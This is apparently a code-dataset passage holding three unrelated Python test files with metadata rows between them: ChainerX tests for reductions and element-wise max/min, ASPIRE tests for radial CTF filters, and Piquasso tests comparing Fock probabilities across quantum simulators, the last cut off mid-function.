with pytest.raises(chainerx.DimensionError):
if is_module:
chainerx.min(a, axis)
else:
a.min(axis)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# Dtype combinations
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_arithmetic,
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# is_module
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [True, False],
})
# TODO(aksub99): Add tests for inf and NaN.
))
class TestMaximum(BinaryMathTestBase, op_utils.NumpyOpTest):
dodge_nondifferentiable = True
def func(self, xp, a, b):
return xp.maximum(a, b)
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_arithmetic_invalid)
def test_maximum_invalid_dtypes(device, dtypes):
(in_dtype1, in_dtype2), _ = dtypes
shape = (3, 2)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
chainerx.maximum(a, b)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'in_shapes': _shapes_combination_binary,
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(2, chainerx.testing.numeric_dtypes)),
'input_lhs': ['random'],
'input_rhs': ['random'],
'is_module': [False],
})
# is_module
+ chainer.testing.product({
'in_shapes': [((2, 3), (2, 3))],
'in_dtypes,out_dtype': _in_out_dtypes_arithmetic,
'input_lhs': ['random'],
'input_rhs': ['random'],
})
# TODO(aksub99): Add tests for inf and NaN.
))
class TestMinimum(BinaryMathTestBase, op_utils.NumpyOpTest):
dodge_nondifferentiable = True
def func(self, xp, a, b):
return xp.minimum(a, b)
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_arithmetic_invalid)
def test_minimum_invalid_dtypes(device, dtypes):
(in_dtype1, in_dtype2), _ = dtypes
shape = (3, 2)
a = chainerx.array(array_utils.uniform(shape, in_dtype1))
b = chainerx.array(array_utils.uniform(shape, in_dtype2))
with pytest.raises(chainerx.DtypeError):
chainerx.minimum(a, b)
_mean_var_params = \
chainer.testing.product({
'shape,axis': [
((), None),
(1, 0),
((2, 1, 3), (1, 2)),
((1, 1, 1), (0, 1, 2)),
((2, 3), None),
((1, 2, 3), (0, 2)),
((2, 2, 2, 2), (2, 1, 0)),
((1, 1, 1), (-1))],
'in_dtypes,out_dtype': _in_out_dtypes_math_functions,
'input': ['random'],
'contiguous': [None, 'C'],
}) + chainer.testing.product({
'shape,axis': [((2, 3), None)],
'in_dtypes,out_dtype': _in_out_float_dtypes_math_functions,
'input': [1.57, 2, 3.14, float('inf'), -float('inf'), float('nan')],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_mean_var_params
))
class TestMean(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.mean(a, self.axis)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
_mean_var_params
))
class TestVar(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
return xp.var(a, self.axis)
def apply_func(is_module, func, xp, device, input, axis, dtypes):
(in_dtype,), out_dtype = dtypes
try:
a_np = input.astype(in_dtype)
except (ValueError, OverflowError):
return xp.zeros(()) # invalid combination of data and dtype
a = xp.array(a_np)
a = func(is_module, xp, a, axis)
if xp is numpy:
a = dtype_utils.cast_if_numpy_array(xp, a, out_dtype)
return a
def compute_mean(is_module, xp, a, axis):
return xp.mean(a, axis) if is_module else a.mean(axis)
def compute_var(is_module, xp, a, axis):
return xp.var(a, axis) if is_module else a.var(axis)
@chainerx.testing.numpy_chainerx_array_equal(strides_check=False)
@pytest.mark.parametrize('input,axis', [
# --- single axis
# input, axis
# valid params
(numpy.asarray(0), None),
(numpy.asarray(-1), None),
(numpy.asarray(float('inf')), None),
(numpy.asarray(float('nan')), None),
(numpy.asarray(-float('inf')), None),
(numpy.asarray([4, 1, 4, 1]), None),
(numpy.asarray([4, 1, 4, 1]), 0),
(numpy.asarray([[4, 4, 1, 1], [4, 1, 4, 1]]), 0),
(numpy.asarray([[4, 4, 1, 1], [4, 1, 4, 1]]).T, 1),
(numpy.asarray([-0.0, +0.0, +0.0, -0.0]), None),
(numpy.asarray([[True, True, False, False],
[True, False, True, False]]), 0),
(numpy.ones((2, 0, 3)), 2),
(numpy.ones((2, 3)), 1),
(numpy.ones((2, 3)), -2),
# --- multiple axes
# input, axis
# valid params
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (0, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (-2, -1)),
])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_math_functions)
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('func', [
compute_mean,
compute_var,
])
# TODO(kshitij12345): Remove strides_check=False
def test_valid_stats(is_module, func, xp, device, input, axis, dtypes):
return apply_func(is_module, func, xp, device, input, axis, dtypes)
@chainerx.testing.numpy_chainerx_array_equal(
accept_error=(IndexError, ValueError, chainerx.DimensionError),
strides_check=False)
@pytest.mark.parametrize('input,axis', [
# --- single axis
# input, axis
# invalid params
(numpy.ones((0,)), None),
(numpy.ones((2, 0, 3)), 1),
(numpy.ones((2, 0, 3)), None),
(numpy.ones((2, 3)), 2),
(numpy.ones((2, 3)), -3),
# --- multiple axes
# input, axis
# invalid params
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (1, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (-3, 1)),
(numpy.asarray([[1, 4, 3, 1], [4, 6, 3, 2], [2, 3, 6, 1]]), (1, 2)),
])
@pytest.mark.parametrize('dtypes', _in_out_dtypes_math_functions)
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
@pytest.mark.parametrize('func', [
compute_mean,
compute_var,
])
# TODO(kshitij12345): Remove strides_check=False
def test_invalid_stats(is_module, func, xp, device, input, axis, dtypes):
return apply_func(is_module, func, xp, device, input, axis, dtypes)
| 32.304266 | 79 | 0.582139 | 10,818 | 85,574 | 4.372989 | 0.039194 | 0.008202 | 0.032553 | 0.016065 | 0.825734 | 0.802587 | 0.779652 | 0.760733 | 0.750861 | 0.727905 | 0 | 0.043713 | 0.234627 | 85,574 | 2,648 | 80 | 32.316465 | 0.678576 | 0.050681 | 0 | 0.713816 | 0 | 0 | 0.143442 | 0.023971 | 0 | 0 | 0 | 0.000378 | 0.003759 | 1 | 0.052632 | false | 0 | 0.004229 | 0.013158 | 0.146617 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
49a1de5de1f001d775e708c61aff86c819304f02 | 5,830 | py | Python | tests/test_filters.py | janden/ASPIRE-Python | 5bcf831881fd0e42630c3b99671c5ed08de260ea | [
"MIT"
] | null | null | null | tests/test_filters.py | janden/ASPIRE-Python | 5bcf831881fd0e42630c3b99671c5ed08de260ea | [
"MIT"
] | null | null | null | tests/test_filters.py | janden/ASPIRE-Python | 5bcf831881fd0e42630c3b99671c5ed08de260ea | [
"MIT"
] | null | null | null | import numpy as np
from unittest import TestCase
from aspire.source import SourceFilter
from aspire.utils.filters import RadialCTFFilter
import os.path
DATA_DIR = os.path.join(os.path.dirname(__file__), 'saved_test_data')
class SimTestCase(TestCase):
def setUp(self):
pass
def tearDown(self):
pass
def testRadialCTFFilter(self):
filter = RadialCTFFilter(defocus=2.5e4)
result = filter.evaluate_grid(8)
self.assertEqual(result.shape, (8, 8))
self.assertTrue(np.allclose(
result,
np.array([
[ 0.461755701877834, -0.995184514498978, 0.063120922443392, 0.833250206225063, 0.961464660252150, 0.833250206225063, 0.063120922443392, -0.995184514498978],
[-0.995184514498978, 0.626977423649552, 0.799934516166400, 0.004814348317439, -0.298096205735759, 0.004814348317439, 0.799934516166400, 0.626977423649552],
[ 0.063120922443392, 0.799934516166400, -0.573061561512667, -0.999286510416273, -0.963805291282899, -0.999286510416273, -0.573061561512667, 0.799934516166400],
[ 0.833250206225063, 0.004814348317439, -0.999286510416273, -0.633095739808868, -0.368890743119366, -0.633095739808868, -0.999286510416273, 0.004814348317439],
[ 0.961464660252150, -0.298096205735759, -0.963805291282899, -0.368890743119366, -0.070000000000000, -0.368890743119366, -0.963805291282899, -0.298096205735759],
[ 0.833250206225063, 0.004814348317439, -0.999286510416273, -0.633095739808868, -0.368890743119366, -0.633095739808868, -0.999286510416273, 0.004814348317439],
[ 0.063120922443392, 0.799934516166400, -0.573061561512667, -0.999286510416273, -0.963805291282899, -0.999286510416273, -0.573061561512667, 0.799934516166400],
[-0.995184514498978, 0.626977423649552, 0.799934516166400, 0.004814348317439, -0.298096205735759, 0.004814348317439, 0.799934516166400, 0.626977423649552]
])
))
def testRadialCTFFilterMultiplier(self):
filter = RadialCTFFilter(defocus=2.5e4) * RadialCTFFilter(defocus=2.5e4)
result = filter.evaluate_grid(8)
self.assertEqual(result.shape, (8, 8))
self.assertTrue(np.allclose(
result,
np.array([
[ 0.461755701877834, -0.995184514498978, 0.063120922443392, 0.833250206225063, 0.961464660252150, 0.833250206225063, 0.063120922443392, -0.995184514498978],
[-0.995184514498978, 0.626977423649552, 0.799934516166400, 0.004814348317439, -0.298096205735759, 0.004814348317439, 0.799934516166400, 0.626977423649552],
[ 0.063120922443392, 0.799934516166400, -0.573061561512667, -0.999286510416273, -0.963805291282899, -0.999286510416273, -0.573061561512667, 0.799934516166400],
[ 0.833250206225063, 0.004814348317439, -0.999286510416273, -0.633095739808868, -0.368890743119366, -0.633095739808868, -0.999286510416273, 0.004814348317439],
[ 0.961464660252150, -0.298096205735759, -0.963805291282899, -0.368890743119366, -0.070000000000000, -0.368890743119366, -0.963805291282899, -0.298096205735759],
[ 0.833250206225063, 0.004814348317439, -0.999286510416273, -0.633095739808868, -0.368890743119366, -0.633095739808868, -0.999286510416273, 0.004814348317439],
[ 0.063120922443392, 0.799934516166400, -0.573061561512667, -0.999286510416273, -0.963805291282899, -0.999286510416273, -0.573061561512667, 0.799934516166400],
[-0.995184514498978, 0.626977423649552, 0.799934516166400, 0.004814348317439, -0.298096205735759, 0.004814348317439, 0.799934516166400, 0.626977423649552]
])**2
))
def testRadialCTFSourceFilter(self):
source_filter = SourceFilter(
[RadialCTFFilter(defocus=d) for d in np.linspace(1.5e4, 2.5e4, 7)],
n=42
)
result = source_filter.evaluate_grid(8)
self.assertEqual(result.shape, (8, 8, 7))
# Just check the value of the last filter for now
self.assertTrue(np.allclose(
result[:, :, -1],
np.array([
[ 0.461755701877834, -0.995184514498978, 0.063120922443392, 0.833250206225063, 0.961464660252150, 0.833250206225063, 0.063120922443392, -0.995184514498978],
[-0.995184514498978, 0.626977423649552, 0.799934516166400, 0.004814348317439, -0.298096205735759, 0.004814348317439, 0.799934516166400, 0.626977423649552],
[ 0.063120922443392, 0.799934516166400, -0.573061561512667, -0.999286510416273, -0.963805291282899, -0.999286510416273, -0.573061561512667, 0.799934516166400],
[ 0.833250206225063, 0.004814348317439, -0.999286510416273, -0.633095739808868, -0.368890743119366, -0.633095739808868, -0.999286510416273, 0.004814348317439],
[ 0.961464660252150, -0.298096205735759, -0.963805291282899, -0.368890743119366, -0.070000000000000, -0.368890743119366, -0.963805291282899, -0.298096205735759],
[ 0.833250206225063, 0.004814348317439, -0.999286510416273, -0.633095739808868, -0.368890743119366, -0.633095739808868, -0.999286510416273, 0.004814348317439],
[ 0.063120922443392, 0.799934516166400, -0.573061561512667, -0.999286510416273, -0.963805291282899, -0.999286510416273, -0.573061561512667, 0.799934516166400],
[-0.995184514498978, 0.626977423649552, 0.799934516166400, 0.004814348317439, -0.298096205735759, 0.004814348317439, 0.799934516166400, 0.626977423649552]
])
))
| 72.875 | 184 | 0.668268 | 538 | 5,830 | 7.219331 | 0.141264 | 0.098867 | 0.105046 | 0.049434 | 0.88414 | 0.876416 | 0.864573 | 0.864573 | 0.864573 | 0.864573 | 0 | 0.678329 | 0.215609 | 5,830 | 79 | 185 | 73.797468 | 0.171004 | 0.008062 | 0 | 0.661538 | 0 | 0 | 0.002596 | 0 | 0 | 0 | 0 | 0 | 0.092308 | 1 | 0.076923 | false | 0.030769 | 0.076923 | 0 | 0.169231 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
7721e9657eaaaf5f550057754036259e526fea56 | 23,898 | py | Python | tests/backends/test_backend_equivalence.py | antalszava/piquasso | 7ebff83145cfab44929114437c250852dff5f9a5 | [
"Apache-2.0"
] | 12 | 2021-09-12T15:51:45.000Z | 2022-03-05T22:25:47.000Z | tests/backends/test_backend_equivalence.py | antalszava/piquasso | 7ebff83145cfab44929114437c250852dff5f9a5 | [
"Apache-2.0"
] | 36 | 2021-09-13T08:01:27.000Z | 2022-03-21T11:53:30.000Z | tests/backends/test_backend_equivalence.py | antalszava/piquasso | 7ebff83145cfab44929114437c250852dff5f9a5 | [
"Apache-2.0"
] | null | null | null | #
# Copyright 2021 Budapest Quantum Computing Group
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import pytest
import numpy as np
import piquasso as pq
from scipy.linalg import polar, sinhm, coshm, expm
def is_proportional(first, second):
first = np.array(first)
second = np.array(second)
index = np.argmax(first)
proportion = first[index] / second[index]
return np.allclose(first, proportion * second)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_should_be_numpy_array_of_floats(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.1, phi=0.6)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert isinstance(probabilities, np.ndarray)
assert probabilities.dtype == np.float64
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_squeezed_state(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.1, phi=0.6)
simulator = SimulatorClass(d=3, config=pq.Config(cutoff=4))
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(
probabilities,
[
0.99502075,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00494212,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
],
)
def test_density_matrix_with_squeezed_state():
d = 2
with pq.Program() as gaussian_program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.1, phi=np.pi / 3)
gaussian_simulator = pq.GaussianSimulator(d=d)
gaussian_state = gaussian_simulator.execute(gaussian_program).state
gaussian_density_matrix = gaussian_state.density_matrix
normalization = 1 / sum(np.diag(gaussian_density_matrix))
with pq.Program() as fock_program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.1, phi=np.pi / 3)
fock_simulator = pq.FockSimulator(d=d)
fock_state = fock_simulator.execute(fock_program).state
fock_density_matrix = fock_state.density_matrix
assert np.allclose(normalization * gaussian_density_matrix, fock_density_matrix)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_displaced_state(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Displacement(alpha=1 + 2j)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(
probabilities,
[
0.00673795,
0.0,
0.0,
0.03368973,
0.0,
0.0,
0.0,
0.0,
0.0,
0.08422434,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.1403739,
],
)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_displaced_state_with_beamsplitter(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Displacement(alpha=1 + 2j)
pq.Q(0, 1) | pq.Beamsplitter(theta=np.pi / 3)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(
probabilities,
[
0.00673795,
0.0,
0.0252673,
0.00842243,
0.0,
0.0,
0.04737619,
0.0,
0.03158413,
0.00526402,
0.0,
0.0,
0.0,
0.05922024,
0.0,
0.0,
0.05922024,
0.0,
0.01974008,
0.00219334,
],
)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_squeezed_state_with_beamsplitter(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.1, phi=0.6)
pq.Q(0, 1) | pq.Beamsplitter(theta=np.pi / 3)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(
probabilities,
[
0.99502075,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00277994,
0.0,
0.0018533,
0.00030888,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
],
)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_two_single_mode_squeezings(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.1, phi=0.6)
pq.Q(1) | pq.Squeezing(r=0.2, phi=0.7)
simulator = SimulatorClass(d=2)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(
probabilities,
[0.9754467, 0.0, 0.0, 0.01900025, 0.0, 0.0048449, 0.0, 0.0, 0.0, 0.0],
)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_two_mode_squeezing(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0, 1) | pq.Squeezing2(r=0.1, phi=0.6)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(
probabilities,
[
0.99006629,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00983503,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
],
)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_two_mode_squeezing_and_beamsplitter(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0, 1) | pq.Squeezing2(r=0.1, phi=0.6)
pq.Q(0, 1) | pq.Beamsplitter(theta=np.pi / 3)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(
probabilities,
[
0.99006629,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00368814,
0.0,
0.00245876,
0.00368814,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
],
)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_quadratic_phase(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.QuadraticPhase(s=0.4)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
expected_probabilities = [
0.98058068,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.01885732,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
]
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(probabilities, expected_probabilities)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_position_displacement(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.PositionDisplacement(x=0.2)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
expected_probabilities = [
0.96078944,
0.0,
0.0,
0.03843158,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00076863,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00001025,
]
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(probabilities, expected_probabilities)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_momentum_displacement(SimulatorClass):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.MomentumDisplacement(p=0.2)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
expected_probabilities = [
0.96078944,
0.0,
0.0,
0.03843158,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00076863,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.00001025,
]
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(probabilities, expected_probabilities)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_position_displacement_is_HBAR_independent(
SimulatorClass,
):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.PositionDisplacement(x=0.4)
simulator1 = SimulatorClass(d=3, config=pq.Config(hbar=2))
simulator2 = SimulatorClass(d=3, config=pq.Config(hbar=42))
state1 = simulator1.execute(program).state
state2 = simulator2.execute(program).state
probabilities1 = state1.fock_probabilities
probabilities2 = state2.fock_probabilities
assert np.allclose(probabilities1, probabilities2)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_momentum_displacement_is_HBAR_independent(
SimulatorClass,
):
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.MomentumDisplacement(p=0.4)
simulator1 = SimulatorClass(d=3, config=pq.Config(hbar=2))
simulator2 = SimulatorClass(d=3, config=pq.Config(hbar=42))
state1 = simulator1.execute(program).state
state2 = simulator2.execute(program).state
probabilities1 = state1.fock_probabilities
probabilities2 = state2.fock_probabilities
assert np.allclose(probabilities1, probabilities2)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fock_probabilities_with_general_gaussian_transform(SimulatorClass):
squeezing_matrix = np.array(
[
[0.1, 0.2 + 0.3j],
[0.2 + 0.3j, 0.1],
],
dtype=complex,
)
rotation_matrix = np.array(
[
[1, 3 - 2j],
[3 + 2j, 1],
],
dtype=complex,
)
U, r = polar(squeezing_matrix)
passive = expm(-1j * rotation_matrix) @ coshm(r)
active = expm(-1j * rotation_matrix) @ U @ sinhm(r)
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0, 1) | pq.GaussianTransform(passive=passive, active=active)
simulator = SimulatorClass(d=3)
state = simulator.execute(program).state
probabilities = state.fock_probabilities
expected_probabilities = [
0.864652,
0.0,
0.0,
0.0,
0.0,
0.0,
0.05073686,
0.0,
0.02118922,
0.0379305,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
0.0,
]
assert all(probability >= 0 for probability in probabilities)
assert sum(probabilities) <= 1.0 or np.isclose(sum(probabilities), 1.0)
assert is_proportional(probabilities, expected_probabilities)
@pytest.mark.monkey
def test_monkey_fock_probabilities_with_general_gaussian_transform(
generate_unitary_matrix, generate_complex_symmetric_matrix
):
d = 3
squeezing_matrix = generate_complex_symmetric_matrix(3)
U, r = polar(squeezing_matrix)
global_phase = generate_unitary_matrix(d)
passive = global_phase @ coshm(r)
active = global_phase @ sinhm(r) @ U.conj()
with pq.Program() as fock_program:
pq.Q() | pq.Vacuum()
pq.Q(all) | pq.GaussianTransform(passive=passive, active=active)
fock_simulator = pq.FockSimulator(d=d)
fock_state = fock_simulator.execute(fock_program).state
fock_representation_probabilities = fock_state.fock_probabilities
with pq.Program() as gaussian_program:
pq.Q() | pq.Vacuum()
pq.Q(all) | pq.GaussianTransform(passive=passive, active=active)
gaussian_simulator = pq.GaussianSimulator(d=d)
gaussian_state = gaussian_simulator.execute(gaussian_program).state
gaussian_representation_probabilities = gaussian_state.fock_probabilities
normalization = 1 / sum(gaussian_representation_probabilities)
assert np.allclose(
fock_representation_probabilities,
normalization * gaussian_representation_probabilities,
)
@pytest.mark.monkey
def test_monkey_get_density_matrix_with_general_gaussian_transform(
generate_unitary_matrix, generate_complex_symmetric_matrix
):
d = 3
squeezing_matrix = generate_complex_symmetric_matrix(3)
U, r = polar(squeezing_matrix)
global_phase = generate_unitary_matrix(d)
passive = global_phase @ coshm(r)
active = global_phase @ sinhm(r) @ U.conj()
with pq.Program() as fock_program:
pq.Q() | pq.Vacuum()
pq.Q(all) | pq.GaussianTransform(passive=passive, active=active)
fock_simulator = pq.FockSimulator(d=d)
fock_state = fock_simulator.execute(fock_program).state
fock_representation_probabilities = fock_state.fock_probabilities
with pq.Program() as gaussian_program:
pq.Q() | pq.Vacuum()
pq.Q(all) | pq.GaussianTransform(passive=passive, active=active)
gaussian_simulator = pq.GaussianSimulator(d=d)
gaussian_state = gaussian_simulator.execute(gaussian_program).state
gaussian_representation_probabilities = gaussian_state.fock_probabilities
normalization = 1 / sum(gaussian_representation_probabilities)
assert np.allclose(
fock_representation_probabilities,
normalization * gaussian_representation_probabilities,
)
def test_sampling_backend_equivalence_for_two_mode_beamsplitter():
initial_occupation_numbers = (1, 1)
d = len(initial_occupation_numbers)
with pq.Program() as program:
pq.Q() | pq.StateVector(initial_occupation_numbers)
pq.Q(0, 1) | pq.Beamsplitter(np.pi / 3)
config = pq.Config(cutoff=sum(initial_occupation_numbers) + 1)
fock_simulator = pq.PureFockSimulator(d=d, config=config)
fock_state = fock_simulator.execute(program).state
fock_state.validate()
sampling_simulator = pq.SamplingSimulator(d=d, config=config)
sampling_state = sampling_simulator.execute(program).state
sampling_state.validate()
assert np.allclose(
fock_state.fock_probabilities,
sampling_state.fock_probabilities,
)
def test_sampling_backend_equivalence_complex_scenario():
initial_occupation_numbers = (1, 1, 0, 1)
d = len(initial_occupation_numbers)
with pq.Program() as program:
pq.Q() | pq.StateVector(initial_occupation_numbers)
pq.Q(0, 1) | pq.Beamsplitter(np.pi / 3)
pq.Q(1) | pq.Phaseshifter(np.pi / 3)
pq.Q(1, 2) | pq.Beamsplitter(np.pi / 4)
config = pq.Config(cutoff=sum(initial_occupation_numbers) + 1)
